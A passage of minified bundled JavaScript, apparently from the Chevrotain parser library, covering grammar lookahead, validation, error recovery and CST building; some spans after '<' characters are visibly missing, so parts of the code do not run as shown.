i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkManySep(e,r,n)}},aS=class extends T1{static{o(this,"NextTerminalAfterAtLeastOneWalker")}walkAtLeastOne(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkAtLeastOne(e,r,n)}},ab=class extends T1{static{o(this,"NextTerminalAfterAtLeastOneSepWalker")}walkAtLeastOneSep(e,r,n){if(e.idx===this.occurrence){let i=ea(r.concat(n));this.result.isEndOfRule=i===void 0,i instanceof Ar&&(this.result.token=i.terminalType,this.result.occurrence=i.idx)}else super.walkAtLeastOneSep(e,r,n)}};o(sS,"possiblePathsFrom");o(oS,"nextPossibleTokensAfter");o(MYe,"expandTopLevelRule")});function ob(t){if(t instanceof dn||t==="Option")return Jn.OPTION;if(t instanceof zr||t==="Repetition")return Jn.REPETITION;if(t instanceof Bn||t==="RepetitionMandatory")return Jn.REPETITION_MANDATORY;if(t instanceof Fn||t==="RepetitionMandatoryWithSeparator")return Jn.REPETITION_MANDATORY_WITH_SEPARATOR;if(t instanceof _n||t==="RepetitionWithSeparator")return Jn.REPETITION_WITH_SEPARATOR;if(t instanceof Dn||t==="Alternation")return Jn.ALTERNATION;throw Error("non exhaustive match")}function cS(t){let{occurrence:e,rule:r,prodType:n,maxLookahead:i}=t,a=ob(n);return a===Jn.ALTERNATION?w1(e,r,i):k1(e,r,a,i)}function Bde(t,e,r,n,i,a){let s=w1(t,e,r),l=Ude(s)?v1:Xu;return a(s,n,l,i)}function Fde(t,e,r,n,i,a){let s=k1(t,e,i,r),l=Ude(s)?v1:Xu;return a(s[0],l,n)}function $de(t,e,r,n){let i=t.length,a=Pa(t,s=>Pa(s,l=>l.length===1));if(e)return function(s){let l=rt(s,u=>u.GATE);for(let u=0;uQr(u)),l=Jr(s,(u,h,f)=>(Ae(h,d=>{Ft(u,d.tokenTypeIdx)||(u[d.tokenTypeIdx]=f),Ae(d.categoryMatches,p=>{Ft(u,p)||(u[p]=f)})}),u),{});return function(){let u=this.LA(1);return l[u.tokenTypeIdx]}}else return function(){for(let s=0;sa.length===1),i=t.length;if(n&&!r){let a=Qr(t);if(a.length===1&&mr(a[0].categoryMatches)){let l=a[0].tokenTypeIdx;return function(){return this.LA(1).tokenTypeIdx===l}}else{let s=Jr(a,(l,u,h)=>(l[u.tokenTypeIdx]=!0,Ae(u.categoryMatches,f=>{l[f]=!0}),l),[]);return function(){let l=this.LA(1);return s[l.tokenTypeIdx]===!0}}}else return function(){e:for(let a=0;asS([s],1)),n=Pde(r.length),i=rt(r,s=>{let l={};return Ae(s,u=>{let h=tP(u.partialPath);Ae(h,f=>{l[f]=!0})}),l}),a=r;for(let s=1;s<=e;s++){let l=a;a=Pde(l.length);for(let u=0;u{let x=tP(v.partialPath);Ae(x,b=>{i[u][b]=!0})})}}}}return n}function w1(t,e,r,n){let i=new lS(t,Jn.ALTERNATION,n);return e.accept(i),Gde(i.result,r)}function k1(t,e,r,n){let i=new lS(t,r);e.accept(i);let a=i.result,l=new rP(e,t,r).startWalking(),u=new Pn({definition:a}),h=new Pn({definition:l});return Gde([u,h],n)}function uS(t,e){e:for(let r=0;r{let i=e[n];return r===i||i.categoryMatchesMap[r.tokenTypeIdx]})}function Ude(t){return Pa(t,e=>Pa(e,r=>Pa(r,n=>mr(n.categoryMatches))))}var Jn,rP,lS,E1=N(()=>{"use strict";Yt();sb();jE();Vp();ps();(function(t){t[t.OPTION=0]="OPTION",t[t.REPETITION=1]="REPETITION",t[t.REPETITION_MANDATORY=2]="REPETITION_MANDATORY",t[t.REPETITION_MANDATORY_WITH_SEPARATOR=3]="REPETITION_MANDATORY_WITH_SEPARATOR",t[t.REPETITION_WITH_SEPARATOR=4]="REPETITION_WITH_SEPARATOR",t[t.ALTERNATION=5]="ALTERNATION"})(Jn||(Jn={}));o(ob,"getProdType");o(cS,"getLookaheadPaths");o(Bde,"buildLookaheadFuncForOr");o(Fde,"buildLookaheadFuncForOptionalProd");o($de,"buildAlternativesLookAheadFunc");o(zde,"buildSingleAlternativeLookaheadFunction");rP=class extends Yu{static{o(this,"RestDefinitionFinderWalker")}constructor(e,r,n){super(),this.topProd=e,this.targetOccurrence=r,this.targetProdType=n}startWalking(){return this.walk(this.topProd),this.restDef}checkIsTarget(e,r,n,i){return e.idx===this.targetOccurrence&&this.targetProdType===r?(this.restDef=n.concat(i),!0):!1}walkOption(e,r,n){this.checkIsTarget(e,Jn.OPTION,r,n)||super.walkOption(e,r,n)}walkAtLeastOne(e,r,n){this.checkIsTarget(e,Jn.REPETITION_MANDATORY,r,n)||super.walkOption(e,r,n)}walkAtLeastOneSep(e,r,n){this.checkIsTarget(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR,r,n)||super.walkOption(e,r,n)}walkMany(e,r,n){this.checkIsTarget(e,Jn.REPETITION,r,n)||super.walkOption(e,r,n)}walkManySep(e,r,n){this.checkIsTarget(e,Jn.REPETITION_WITH_SEPARATOR,r,n)||super.walkOption(e,r,n)}},lS=class extends ds{static{o(this,"InsideDefinitionFinderVisitor")}constructor(e,r,n){super(),this.targetOccurrence=e,this.targetProdType=r,this.targetRef=n,this.result=[]}checkIsTarget(e,r){e.idx===this.targetOccurrence&&this.targetProdType===r&&(this.targetRef===void 0||e===this.targetRef)&&(this.result=e.definition)}visitOption(e){this.checkIsTarget(e,Jn.OPTION)}visitRepetition(e){this.checkIsTarget(e,Jn.REPETITION)}visitRepetitionMandatory(e){this.checkIsTarget(e,Jn.REPETITION_MANDATORY)}visitRepetitionMandatoryWithSeparator(e){this.checkIsTarget(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR)}visitRepetitionWithSeparator(e){this.checkIsTarget(e,Jn.REPETITION_WITH_SEPARATOR)}visitAlternation(e){this.checkIsTarget(e,Jn.ALTERNATION)}};o(Pde,"initializeArrayOfArrays");o(tP,"pathToHashKeys");o(IYe,"isUniquePrefixHash");o(Gde,"lookAheadSequenceFromAlternatives");o(w1,"getLookaheadPathsForOr");o(k1,"getLookaheadPathsForOptionalProd");o(uS,"containsPath");o(Vde,"isStrictPrefixOfPath");o(Ude,"areTokenCategoriesNotUsed")});function Hde(t){let e=t.lookaheadStrategy.validate({rules:t.rules,tokenTypes:t.tokenTypes,grammarName:t.grammarName});return rt(e,r=>Object.assign({type:Gi.CUSTOM_LOOKAHEAD_VALIDATION},r))}function qde(t,e,r,n){let i=ga(t,u=>OYe(u,r)),a=GYe(t,e,r),s=ga(t,u=>FYe(u,r)),l=ga(t,u=>BYe(u,t,n,r));return i.concat(a,s,l)}function OYe(t,e){let r=new nP;t.accept(r);let n=r.allProductions,i=DR(n,PYe),a=Vs(i,l=>l.length>1);return rt(kr(a),l=>{let u=ea(l),h=e.buildDuplicateFoundError(t,l),f=Xs(u),d={message:h,type:Gi.DUPLICATE_PRODUCTIONS,ruleName:t.name,dslName:f,occurrence:u.idx},p=Wde(u);return p&&(d.parameter=p),d})}function PYe(t){return`${Xs(t)}_#_${t.idx}_#_${Wde(t)}`}function Wde(t){return t instanceof Ar?t.terminalType.name:t instanceof fn?t.nonTerminalName:""}function BYe(t,e,r,n){let i=[];if(Jr(e,(s,l)=>l.name===t.name?s+1:s,0)>1){let s=n.buildDuplicateRuleNameError({topLevelRule:t,grammarName:r});i.push({message:s,type:Gi.DUPLICATE_RULE_NAME,ruleName:t.name})}return i}function Yde(t,e,r){let n=[],i;return jn(e,t)||(i=`Invalid rule override, rule: ->${t}<- cannot be overridden in the grammar: ->${r}<-as it is not defined in any of the super grammars `,n.push({message:i,type:Gi.INVALID_RULE_OVERRIDE,ruleName:t})),n}function aP(t,e,r,n=[]){let i=[],a=hS(e.definition);if(mr(a))return[];{let s=t.name;jn(a,t)&&i.push({message:r.buildLeftRecursionError({topLevelRule:t,leftRecursionPath:n}),type:Gi.LEFT_RECURSION,ruleName:s});let u=lf(a,n.concat([t])),h=ga(u,f=>{let d=ln(n);return d.push(f),aP(t,f,r,d)});return i.concat(h)}}function hS(t){let e=[];if(mr(t))return e;let r=ea(t);if(r instanceof fn)e.push(r.referencedRule);else if(r instanceof Pn||r instanceof dn||r instanceof Bn||r instanceof Fn||r instanceof _n||r instanceof zr)e=e.concat(hS(r.definition));else if(r instanceof Dn)e=Qr(rt(r.definition,a=>hS(a.definition)));else if(!(r instanceof Ar))throw Error("non exhaustive match");let n=$p(r),i=t.length>1;if(n&&i){let a=yi(t);return e.concat(hS(a))}else return e}function Xde(t,e){let r=new lb;t.accept(r);let n=r.alternations;return ga(n,a=>{let s=Bu(a.definition);return ga(s,(l,u)=>{let h=oS([l],[],Xu,1);return mr(h)?[{message:e.buildEmptyAlternationError({topLevelRule:t,alternation:a,emptyChoiceIdx:u}),type:Gi.NONE_LAST_EMPTY_ALT,ruleName:t.name,occurrence:a.idx,alternative:u+1}]:[]})})}function jde(t,e,r){let n=new lb;t.accept(n);let i=n.alternations;return i=cf(i,s=>s.ignoreAmbiguities===!0),ga(i,s=>{let l=s.idx,u=s.maxLookahead||e,h=w1(l,t,u,s),f=$Ye(h,s,t,r),d=zYe(h,s,t,r);return f.concat(d)})}function FYe(t,e){let r=new lb;t.accept(r);let n=r.alternations;return ga(n,a=>a.definition.length>255?[{message:e.buildTooManyAlternativesError({topLevelRule:t,alternation:a}),type:Gi.TOO_MANY_ALTS,ruleName:t.name,occurrence:a.idx}]:[])}function Kde(t,e,r){let n=[];return Ae(t,i=>{let a=new iP;i.accept(a);let s=a.allProductions;Ae(s,l=>{let u=ob(l),h=l.maxLookahead||e,f=l.idx,p=k1(f,i,u,h)[0];if(mr(Qr(p))){let m=r.buildEmptyRepetitionError({topLevelRule:i,repetition:l});n.push({message:m,type:Gi.NO_NON_EMPTY_LOOKAHEAD,ruleName:i.name})}})}),n}function $Ye(t,e,r,n){let i=[],a=Jr(t,(l,u,h)=>(e.definition[h].ignoreAmbiguities===!0||Ae(u,f=>{let d=[h];Ae(t,(p,m)=>{h!==m&&uS(p,f)&&e.definition[m].ignoreAmbiguities!==!0&&d.push(m)}),d.length>1&&!uS(i,f)&&(i.push(f),l.push({alts:d,path:f}))}),l),[]);return rt(a,l=>{let u=rt(l.alts,f=>f+1);return{message:n.buildAlternationAmbiguityError({topLevelRule:r,alternation:e,ambiguityIndices:u,prefixPath:l.path}),type:Gi.AMBIGUOUS_ALTS,ruleName:r.name,occurrence:e.idx,alternatives:l.alts}})}function zYe(t,e,r,n){let i=Jr(t,(s,l,u)=>{let h=rt(l,f=>({idx:u,path:f}));return s.concat(h)},[]);return _c(ga(i,s=>{if(e.definition[s.idx].ignoreAmbiguities===!0)return[];let u=s.idx,h=s.path,f=Zr(i,p=>e.definition[p.idx].ignoreAmbiguities!==!0&&p.idx{let m=[p.idx+1,u+1],g=e.idx===0?"":e.idx;return{message:n.buildAlternationPrefixAmbiguityError({topLevelRule:r,alternation:e,ambiguityIndices:m,prefixPath:p.path}),type:Gi.AMBIGUOUS_PREFIX_ALTS,ruleName:r.name,occurrence:g,alternatives:m}})}))}function GYe(t,e,r){let n=[],i=rt(e,a=>a.name);return Ae(t,a=>{let s=a.name;if(jn(i,s)){let l=r.buildNamespaceConflictError(a);n.push({message:l,type:Gi.CONFLICT_TOKENS_RULES_NAMESPACE,ruleName:s})}}),n}var nP,lb,iP,cb=N(()=>{"use strict";Yt();js();ps();E1();sb();Vp();o(Hde,"validateLookahead");o(qde,"validateGrammar");o(OYe,"validateDuplicateProductions");o(PYe,"identifyProductionForDuplicates");o(Wde,"getExtraProductionArgument");nP=class extends ds{static{o(this,"OccurrenceValidationCollector")}constructor(){super(...arguments),this.allProductions=[]}visitNonTerminal(e){this.allProductions.push(e)}visitOption(e){this.allProductions.push(e)}visitRepetitionWithSeparator(e){this.allProductions.push(e)}visitRepetitionMandatory(e){this.allProductions.push(e)}visitRepetitionMandatoryWithSeparator(e){this.allProductions.push(e)}visitRepetition(e){this.allProductions.push(e)}visitAlternation(e){this.allProductions.push(e)}visitTerminal(e){this.allProductions.push(e)}};o(BYe,"validateRuleDoesNotAlreadyExist");o(Yde,"validateRuleIsOverridden");o(aP,"validateNoLeftRecursion");o(hS,"getFirstNoneTerminal");lb=class extends ds{static{o(this,"OrCollector")}constructor(){super(...arguments),this.alternations=[]}visitAlternation(e){this.alternations.push(e)}};o(Xde,"validateEmptyOrAlternative");o(jde,"validateAmbiguousAlternationAlternatives");iP=class extends ds{static{o(this,"RepetitionCollector")}constructor(){super(...arguments),this.allProductions=[]}visitRepetitionWithSeparator(e){this.allProductions.push(e)}visitRepetitionMandatory(e){this.allProductions.push(e)}visitRepetitionMandatoryWithSeparator(e){this.allProductions.push(e)}visitRepetition(e){this.allProductions.push(e)}};o(FYe,"validateTooManyAlts");o(Kde,"validateSomeNonEmptyLookaheadPath");o($Ye,"checkAlternativesAmbiguities");o(zYe,"checkPrefixAlternativesAmbiguities");o(GYe,"checkTerminalAndNoneTerminalsNameSpace")});function Qde(t){let e=of(t,{errMsgProvider:Mde}),r={};return Ae(t.rules,n=>{r[n.name]=n}),Ide(r,e.errMsgProvider)}function Zde(t){return t=of(t,{errMsgProvider:Gl}),qde(t.rules,t.tokenTypes,t.errMsgProvider,t.grammarName)}var Jde=N(()=>{"use strict";Yt();Ode();cb();b1();o(Qde,"resolveGrammar");o(Zde,"validateGrammar")});function Bf(t){return jn(ipe,t.name)}var epe,tpe,rpe,npe,ipe,S1,Hp,ub,hb,fb,C1=N(()=>{"use strict";Yt();epe="MismatchedTokenException",tpe="NoViableAltException",rpe="EarlyExitException",npe="NotAllInputParsedException",ipe=[epe,tpe,rpe,npe];Object.freeze(ipe);o(Bf,"isRecognitionException");S1=class extends Error{static{o(this,"RecognitionException")}constructor(e,r){super(e),this.token=r,this.resyncedTokens=[],Object.setPrototypeOf(this,new.target.prototype),Error.captureStackTrace&&Error.captureStackTrace(this,this.constructor)}},Hp=class extends S1{static{o(this,"MismatchedTokenException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=epe}},ub=class extends S1{static{o(this,"NoViableAltException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=tpe}},hb=class extends S1{static{o(this,"NotAllInputParsedException")}constructor(e,r){super(e,r),this.name=npe}},fb=class extends S1{static{o(this,"EarlyExitException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=rpe}}});function VYe(t,e,r,n,i,a,s){let l=this.getKeyForAutomaticLookahead(n,i),u=this.firstAfterRepMap[l];if(u===void 0){let p=this.getCurrRuleFullName(),m=this.getGAstProductions()[p];u=new a(m,i).startWalking(),this.firstAfterRepMap[l]=u}let h=u.token,f=u.occurrence,d=u.isEndOfRule;this.RULE_STACK.length===1&&d&&h===void 0&&(h=yo,f=1),!(h===void 0||f===void 0)&&this.shouldInRepetitionRecoveryBeTried(h,f,s)&&this.tryInRepetitionRecovery(t,e,r,h)}var sP,lP,oP,fS,cP=N(()=>{"use strict";Up();Yt();C1();VO();js();sP={},lP="InRuleRecoveryException",oP=class extends Error{static{o(this,"InRuleRecoveryException")}constructor(e){super(e),this.name=lP}},fS=class{static{o(this,"Recoverable")}initRecoverable(e){this.firstAfterRepMap={},this.resyncFollows={},this.recoveryEnabled=Ft(e,"recoveryEnabled")?e.recoveryEnabled:ms.recoveryEnabled,this.recoveryEnabled&&(this.attemptInRepetitionRecovery=VYe)}getTokenToInsert(e){let r=Qu(e,"",NaN,NaN,NaN,NaN,NaN,NaN);return r.isInsertedInRecovery=!0,r}canTokenTypeBeInsertedInRecovery(e){return!0}canTokenTypeBeDeletedInRecovery(e){return!0}tryInRepetitionRecovery(e,r,n,i){let a=this.findReSyncTokenType(),s=this.exportLexerState(),l=[],u=!1,h=this.LA(1),f=this.LA(1),d=o(()=>{let p=this.LA(0),m=this.errorMessageProvider.buildMismatchTokenMessage({expected:i,actual:h,previous:p,ruleName:this.getCurrRuleFullName()}),g=new Hp(m,h,this.LA(0));g.resyncedTokens=Bu(l),this.SAVE_ERROR(g)},"generateErrorMessage");for(;!u;)if(this.tokenMatcher(f,i)){d();return}else if(n.call(this)){d(),e.apply(this,r);return}else this.tokenMatcher(f,a)?u=!0:(f=this.SKIP_TOKEN(),this.addToResyncTokens(f,l));this.importLexerState(s)}shouldInRepetitionRecoveryBeTried(e,r,n){return!(n===!1||this.tokenMatcher(this.LA(1),e)||this.isBackTracking()||this.canPerformInRuleRecovery(e,this.getFollowsForInRuleRecovery(e,r)))}getFollowsForInRuleRecovery(e,r){let n=this.getCurrentGrammarPath(e,r);return this.getNextPossibleTokenTypes(n)}tryInRuleRecovery(e,r){if(this.canRecoverWithSingleTokenInsertion(e,r))return this.getTokenToInsert(e);if(this.canRecoverWithSingleTokenDeletion(e)){let n=this.SKIP_TOKEN();return this.consumeToken(),n}throw new oP("sad sad panda")}canPerformInRuleRecovery(e,r){return this.canRecoverWithSingleTokenInsertion(e,r)||this.canRecoverWithSingleTokenDeletion(e)}canRecoverWithSingleTokenInsertion(e,r){if(!this.canTokenTypeBeInsertedInRecovery(e)||mr(r))return!1;let n=this.LA(1);return os(r,a=>this.tokenMatcher(n,a))!==void 0}canRecoverWithSingleTokenDeletion(e){return this.canTokenTypeBeDeletedInRecovery(e)?this.tokenMatcher(this.LA(2),e):!1}isInCurrentRuleReSyncSet(e){let r=this.getCurrFollowKey(),n=this.getFollowSetFromFollowKey(r);return jn(n,e)}findReSyncTokenType(){let e=this.flattenFollowSet(),r=this.LA(1),n=2;for(;;){let i=os(e,a=>nb(r,a));if(i!==void 0)return i;r=this.LA(n),n++}}getCurrFollowKey(){if(this.RULE_STACK.length===1)return sP;let e=this.getLastExplicitRuleShortName(),r=this.getLastExplicitRuleOccurrenceIndex(),n=this.getPreviousExplicitRuleShortName();return{ruleName:this.shortRuleNameToFullName(e),idxInCallingRule:r,inRule:this.shortRuleNameToFullName(n)}}buildFullFollowKeyStack(){let e=this.RULE_STACK,r=this.RULE_OCCURRENCE_STACK;return rt(e,(n,i)=>i===0?sP:{ruleName:this.shortRuleNameToFullName(n),idxInCallingRule:r[i],inRule:this.shortRuleNameToFullName(e[i-1])})}flattenFollowSet(){let e=rt(this.buildFullFollowKeyStack(),r=>this.getFollowSetFromFollowKey(r));return Qr(e)}getFollowSetFromFollowKey(e){if(e===sP)return[yo];let r=e.ruleName+e.idxInCallingRule+KE+e.inRule;return this.resyncFollows[r]}addToResyncTokens(e,r){return this.tokenMatcher(e,yo)||r.push(e),r}reSyncTo(e){let r=[],n=this.LA(1);for(;this.tokenMatcher(n,e)===!1;)n=this.SKIP_TOKEN(),this.addToResyncTokens(n,r);return Bu(r)}attemptInRepetitionRecovery(e,r,n,i,a,s,l){}getCurrentGrammarPath(e,r){let n=this.getHumanReadableRuleStack(),i=ln(this.RULE_OCCURRENCE_STACK);return{ruleStack:n,occurrenceStack:i,lastTok:e,lastTokOccurrence:r}}getHumanReadableRuleStack(){return rt(this.RULE_STACK,e=>this.shortRuleNameToFullName(e))}};o(VYe,"attemptInRepetitionRecovery")});function dS(t,e,r){return r|e|t}var pS=N(()=>{"use strict";o(dS,"getKeyForAutomaticLookahead")});var Ju,uP=N(()=>{"use strict";Yt();b1();js();cb();E1();Ju=class{static{o(this,"LLkLookaheadStrategy")}constructor(e){var r;this.maxLookahead=(r=e?.maxLookahead)!==null&&r!==void 0?r:ms.maxLookahead}validate(e){let r=this.validateNoLeftRecursion(e.rules);if(mr(r)){let n=this.validateEmptyOrAlternatives(e.rules),i=this.validateAmbiguousAlternationAlternatives(e.rules,this.maxLookahead),a=this.validateSomeNonEmptyLookaheadPath(e.rules,this.maxLookahead);return[...r,...n,...i,...a]}return r}validateNoLeftRecursion(e){return ga(e,r=>aP(r,r,Gl))}validateEmptyOrAlternatives(e){return ga(e,r=>Xde(r,Gl))}validateAmbiguousAlternationAlternatives(e,r){return ga(e,n=>jde(n,r,Gl))}validateSomeNonEmptyLookaheadPath(e,r){return Kde(e,r,Gl)}buildLookaheadForAlternation(e){return Bde(e.prodOccurrence,e.rule,e.maxLookahead,e.hasPredicates,e.dynamicTokensEnabled,$de)}buildLookaheadForOptional(e){return Fde(e.prodOccurrence,e.rule,e.maxLookahead,e.dynamicTokensEnabled,ob(e.prodType),zde)}}});function UYe(t){mS.reset(),t.accept(mS);let e=mS.dslMethods;return mS.reset(),e}var gS,hP,mS,ape=N(()=>{"use strict";Yt();js();pS();ps();uP();gS=class{static{o(this,"LooksAhead")}initLooksAhead(e){this.dynamicTokensEnabled=Ft(e,"dynamicTokensEnabled")?e.dynamicTokensEnabled:ms.dynamicTokensEnabled,this.maxLookahead=Ft(e,"maxLookahead")?e.maxLookahead:ms.maxLookahead,this.lookaheadStrategy=Ft(e,"lookaheadStrategy")?e.lookaheadStrategy:new Ju({maxLookahead:this.maxLookahead}),this.lookAheadFuncsCache=new Map}preComputeLookaheadFunctions(e){Ae(e,r=>{this.TRACE_INIT(`${r.name} Rule Lookahead`,()=>{let{alternation:n,repetition:i,option:a,repetitionMandatory:s,repetitionMandatoryWithSeparator:l,repetitionWithSeparator:u}=UYe(r);Ae(n,h=>{let f=h.idx===0?"":h.idx;this.TRACE_INIT(`${Xs(h)}${f}`,()=>{let d=this.lookaheadStrategy.buildLookaheadForAlternation({prodOccurrence:h.idx,rule:r,maxLookahead:h.maxLookahead||this.maxLookahead,hasPredicates:h.hasPredicates,dynamicTokensEnabled:this.dynamicTokensEnabled}),p=dS(this.fullRuleNameToShort[r.name],256,h.idx);this.setLaFuncCache(p,d)})}),Ae(i,h=>{this.computeLookaheadFunc(r,h.idx,768,"Repetition",h.maxLookahead,Xs(h))}),Ae(a,h=>{this.computeLookaheadFunc(r,h.idx,512,"Option",h.maxLookahead,Xs(h))}),Ae(s,h=>{this.computeLookaheadFunc(r,h.idx,1024,"RepetitionMandatory",h.maxLookahead,Xs(h))}),Ae(l,h=>{this.computeLookaheadFunc(r,h.idx,1536,"RepetitionMandatoryWithSeparator",h.maxLookahead,Xs(h))}),Ae(u,h=>{this.computeLookaheadFunc(r,h.idx,1280,"RepetitionWithSeparator",h.maxLookahead,Xs(h))})})})}computeLookaheadFunc(e,r,n,i,a,s){this.TRACE_INIT(`${s}${r===0?"":r}`,()=>{let l=this.lookaheadStrategy.buildLookaheadForOptional({prodOccurrence:r,rule:e,maxLookahead:a||this.maxLookahead,dynamicTokensEnabled:this.dynamicTokensEnabled,prodType:i}),u=dS(this.fullRuleNameToShort[e.name],n,r);this.setLaFuncCache(u,l)})}getKeyForAutomaticLookahead(e,r){let n=this.getLastExplicitRuleShortName();return dS(n,e,r)}getLaFuncFromCache(e){return this.lookAheadFuncsCache.get(e)}setLaFuncCache(e,r){this.lookAheadFuncsCache.set(e,r)}},hP=class extends ds{static{o(this,"DslMethodsCollectorVisitor")}constructor(){super(...arguments),this.dslMethods={option:[],alternation:[],repetition:[],repetitionWithSeparator:[],repetitionMandatory:[],repetitionMandatoryWithSeparator:[]}}reset(){this.dslMethods={option:[],alternation:[],repetition:[],repetitionWithSeparator:[],repetitionMandatory:[],repetitionMandatoryWithSeparator:[]}}visitOption(e){this.dslMethods.option.push(e)}visitRepetitionWithSeparator(e){this.dslMethods.repetitionWithSeparator.push(e)}visitRepetitionMandatory(e){this.dslMethods.repetitionMandatory.push(e)}visitRepetitionMandatoryWithSeparator(e){this.dslMethods.repetitionMandatoryWithSeparator.push(e)}visitRepetition(e){this.dslMethods.repetition.push(e)}visitAlternation(e){this.dslMethods.alternation.push(e)}},mS=new hP;o(UYe,"collectMethods")});function pP(t,e){isNaN(t.startOffset)===!0?(t.startOffset=e.startOffset,t.endOffset=e.endOffset):t.endOffset{"use strict";o(pP,"setNodeLocationOnlyOffset");o(mP,"setNodeLocationFull");o(spe,"addTerminalToCst");o(ope,"addNoneTerminalToCst")});function gP(t,e){Object.defineProperty(t,HYe,{enumerable:!1,configurable:!0,writable:!1,value:e})}var HYe,cpe=N(()=>{"use strict";HYe="name";o(gP,"defineNameProp")});function qYe(t,e){let r=qr(t),n=r.length;for(let i=0;is.msg);throw Error(`Errors Detected in CST Visitor <${this.constructor.name}>: + ${a.join(` + +`).replace(/\n/g,` + `)}`)}},"validateVisitor")};return r.prototype=n,r.prototype.constructor=r,r._RULE_NAMES=e,r}function hpe(t,e,r){let n=o(function(){},"derivedConstructor");gP(n,t+"BaseSemanticsWithDefaults");let i=Object.create(r.prototype);return Ae(e,a=>{i[a]=qYe}),n.prototype=i,n.prototype.constructor=n,n}function WYe(t,e){return YYe(t,e)}function YYe(t,e){let r=Zr(e,i=>Si(t[i])===!1),n=rt(r,i=>({msg:`Missing visitor method: <${i}> on ${t.constructor.name} CST Visitor.`,type:yP.MISSING_METHOD,methodName:i}));return _c(n)}var yP,fpe=N(()=>{"use strict";Yt();cpe();o(qYe,"defaultVisit");o(upe,"createBaseSemanticVisitorConstructor");o(hpe,"createBaseVisitorConstructorWithDefaults");(function(t){t[t.REDUNDANT_METHOD=0]="REDUNDANT_METHOD",t[t.MISSING_METHOD=1]="MISSING_METHOD"})(yP||(yP={}));o(WYe,"validateVisitor");o(YYe,"validateMissingCstMethods")});var bS,dpe=N(()=>{"use strict";lpe();Yt();fpe();js();bS=class{static{o(this,"TreeBuilder")}initTreeBuilder(e){if(this.CST_STACK=[],this.outputCst=e.outputCst,this.nodeLocationTracking=Ft(e,"nodeLocationTracking")?e.nodeLocationTracking:ms.nodeLocationTracking,!this.outputCst)this.cstInvocationStateUpdate=si,this.cstFinallyStateUpdate=si,this.cstPostTerminal=si,this.cstPostNonTerminal=si,this.cstPostRule=si;else if(/full/i.test(this.nodeLocationTracking))this.recoveryEnabled?(this.setNodeLocationFromToken=mP,this.setNodeLocationFromNode=mP,this.cstPostRule=si,this.setInitialNodeLocation=this.setInitialNodeLocationFullRecovery):(this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=this.cstPostRuleFull,this.setInitialNodeLocation=this.setInitialNodeLocationFullRegular);else if(/onlyOffset/i.test(this.nodeLocationTracking))this.recoveryEnabled?(this.setNodeLocationFromToken=pP,this.setNodeLocationFromNode=pP,this.cstPostRule=si,this.setInitialNodeLocation=this.setInitialNodeLocationOnlyOffsetRecovery):(this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=this.cstPostRuleOnlyOffset,this.setInitialNodeLocation=this.setInitialNodeLocationOnlyOffsetRegular);else if(/none/i.test(this.nodeLocationTracking))this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=si,this.setInitialNodeLocation=si;else throw Error(`Invalid config option: "${e.nodeLocationTracking}"`)}setInitialNodeLocationOnlyOffsetRecovery(e){e.location={startOffset:NaN,endOffset:NaN}}setInitialNodeLocationOnlyOffsetRegular(e){e.location={startOffset:this.LA(1).startOffset,endOffset:NaN}}setInitialNodeLocationFullRecovery(e){e.location={startOffset:NaN,startLine:NaN,startColumn:NaN,endOffset:NaN,endLine:NaN,endColumn:NaN}}setInitialNodeLocationFullRegular(e){let r=this.LA(1);e.location={startOffset:r.startOffset,startLine:r.startLine,startColumn:r.startColumn,endOffset:NaN,endLine:NaN,endColumn:NaN}}cstInvocationStateUpdate(e){let r={name:e,children:Object.create(null)};this.setInitialNodeLocation(r),this.CST_STACK.push(r)}cstFinallyStateUpdate(){this.CST_STACK.pop()}cstPostRuleFull(e){let r=this.LA(0),n=e.location;n.startOffset<=r.startOffset?(n.endOffset=r.endOffset,n.endLine=r.endLine,n.endColumn=r.endColumn):(n.startOffset=NaN,n.startLine=NaN,n.startColumn=NaN)}cstPostRuleOnlyOffset(e){let r=this.LA(0),n=e.location;n.startOffset<=r.startOffset?n.endOffset=r.endOffset:n.startOffset=NaN}cstPostTerminal(e,r){let n=this.CST_STACK[this.CST_STACK.length-1];spe(n,r,e),this.setNodeLocationFromToken(n.location,r)}cstPostNonTerminal(e,r){let n=this.CST_STACK[this.CST_STACK.length-1];ope(n,r,e),this.setNodeLocationFromNode(n.location,e.location)}getBaseCstVisitorConstructor(){if(xr(this.baseCstVisitorConstructor)){let e=upe(this.className,qr(this.gastProductionsCache));return this.baseCstVisitorConstructor=e,e}return this.baseCstVisitorConstructor}getBaseCstVisitorConstructorWithDefaults(){if(xr(this.baseCstVisitorWithDefaultsConstructor)){let e=hpe(this.className,qr(this.gastProductionsCache),this.getBaseCstVisitorConstructor());return this.baseCstVisitorWithDefaultsConstructor=e,e}return this.baseCstVisitorWithDefaultsConstructor}getLastExplicitRuleShortName(){let e=this.RULE_STACK;return e[e.length-1]}getPreviousExplicitRuleShortName(){let e=this.RULE_STACK;return e[e.length-2]}getLastExplicitRuleOccurrenceIndex(){let e=this.RULE_OCCURRENCE_STACK;return e[e.length-1]}}});var TS,ppe=N(()=>{"use strict";js();TS=class{static{o(this,"LexerAdapter")}initLexerAdapter(){this.tokVector=[],this.tokVectorLength=0,this.currIdx=-1}set input(e){if(this.selfAnalysisDone!==!0)throw Error("Missing invocation at the end of the Parser's constructor.");this.reset(),this.tokVector=e,this.tokVectorLength=e.length}get input(){return this.tokVector}SKIP_TOKEN(){return this.currIdx<=this.tokVector.length-2?(this.consumeToken(),this.LA(1)):A1}LA(e){let r=this.currIdx+e;return r<0||this.tokVectorLength<=r?A1:this.tokVector[r]}consumeToken(){this.currIdx++}exportLexerState(){return this.currIdx}importLexerState(e){this.currIdx=e}resetLexerState(){this.currIdx=-1}moveToTerminatedState(){this.currIdx=this.tokVector.length-1}getLexerPosition(){return this.exportLexerState()}}});var wS,mpe=N(()=>{"use 